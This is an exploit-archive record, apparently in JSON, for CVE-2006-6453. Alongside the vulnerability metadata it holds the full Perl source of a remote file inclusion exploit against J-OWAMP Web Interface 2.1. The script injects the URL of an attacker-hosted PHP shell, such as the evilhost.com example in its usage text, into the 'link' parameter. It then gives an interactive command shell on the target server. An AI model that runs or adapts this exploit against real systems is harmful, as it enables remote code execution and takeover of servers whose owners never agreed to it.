{"exploit":{"id":"EDB-2895","name":"J-OWAMP Web Interface 2.1b - 'link' Remote File Inclusion (RFI)","description":"J-OWAMP Web Interface 2.1b - 'link' Remote File Inclusion (RFI)","cves":["CVE-2006-6453"],"author":"3l3ctric-Cracker","published":"2006-12-07","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2895","path":"exploits/php/webapps/2895.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2895.pl","vulnerabilities":[{"id":"CVE-2006-6453","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in JOWAMP_ShowPage.php in J-OWAMP Web Interface 2.1 allows remote authenticated users to execute arbitrary PHP code via a URL in the link parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6453","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6453"},"updatedAt":"2024-08-07T20:26:46.527Z","retrievedAt":"2026-11-26T20:06:42.002Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2895.png?v=2","url":"https://exploitbin.com/exploits/EDB-2895","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2895/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2895/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity\n# Vulnerability found & Exploit [c]oded By Dr Max Virus\n# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip\n# User Must Be Logged In!\n# In a web browser open the page http://localhost/jowamp/login/register.php to register new users.\n\n\nuse LWP::UserAgent;\n\n$target=@ARGV[0];\n$shellsite=@ARGV[1];\n$cmdv=@ARGV[2];\n\nif($target!~/http:\\/\\// || $shellsite!~/http:\\/\\// || !$cmdv)\n{\n       usg()\n}\nheader();\n\n\nwhile()\n{\nprint \"[Shell] \\$\";\nwhile (<STDIN>)\n{\n       $cmd=$_;\n       chomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req =\nHTTP::Request->new(GET=>$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or\ndie \"\\n\\n Failed to Connect, Try again!\\n\";\n$res = $xpl->request($req);\n# The response of the server to the GET request we sent is stored in the\n$info variable\n$info = $res->content;\n$info =~ tr/[\\n]/[&#234;]/;\n\n\nif (!$cmd) {\nprint \"\\nEnter a Command\\n\\n\"; $info =\"\";\n}\n\n\nelsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:\nCannot execute a blank command in <b>/)\n{\nprint \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";\nexit;\n}\n\n\nelsif ($info =~/^<br.\\/>.<b>Warning/) {\nprint \"\\nInvalid Command\\n\\n\";\n};\n\n\nif($info =~ /(.+)<br.\\/>.<b>Warning.(.+)<br.\\/>.<b>Warning/)\n{\n$final = $1;\n$final=~ tr/[&#234;]/[\\n]/;\nprint \"\\n$final\\n\";\nlast;\n}\n\nelse {\nprint \"[shell] \\$\";\n}\n}\n}\nlast;\n\n\n#Sub-Rountines\nsub header()\n{\nprint q{\n********************************************************************************\nJowamp WebInterface v2.1  -- Remote Include Exploit\n\nVulnerablity found by: Dr Max Virus\n\nExploit [c]oded by: Dr Max Virus\n********************************************************************************\n}\n}\nsub usg()\n{\nheader();\nprint q{\nUsage: perl exploit.pl <jowamp fullpath> <Shell Location> <Shell Cmd>\n\n<phorum-3.4.8a FULL PATH> - Path to site exp. www.site.com\n\n<Shell Location> - Path to shell exp. www.evilhost.com/shell.txt\n\n<Shell Cmd Variable> - Command variable for php shell\n\nExample: perl exploit.pl http://www.site.com/jowamp/\n**********************************************************************************\n};\n\nexit();\n}\n\n# milw0rm.com [2006-12-07]","sha256":"12d35b6b2e9fe9e1b687ab2a0046712a1e6443a688ded84d8566d959c39f7b88","bytes":2264,"fetchedAt":"2026-11-26T20:06:41.821Z","encoding":"utf-8 (display only; download retains original bytes)"}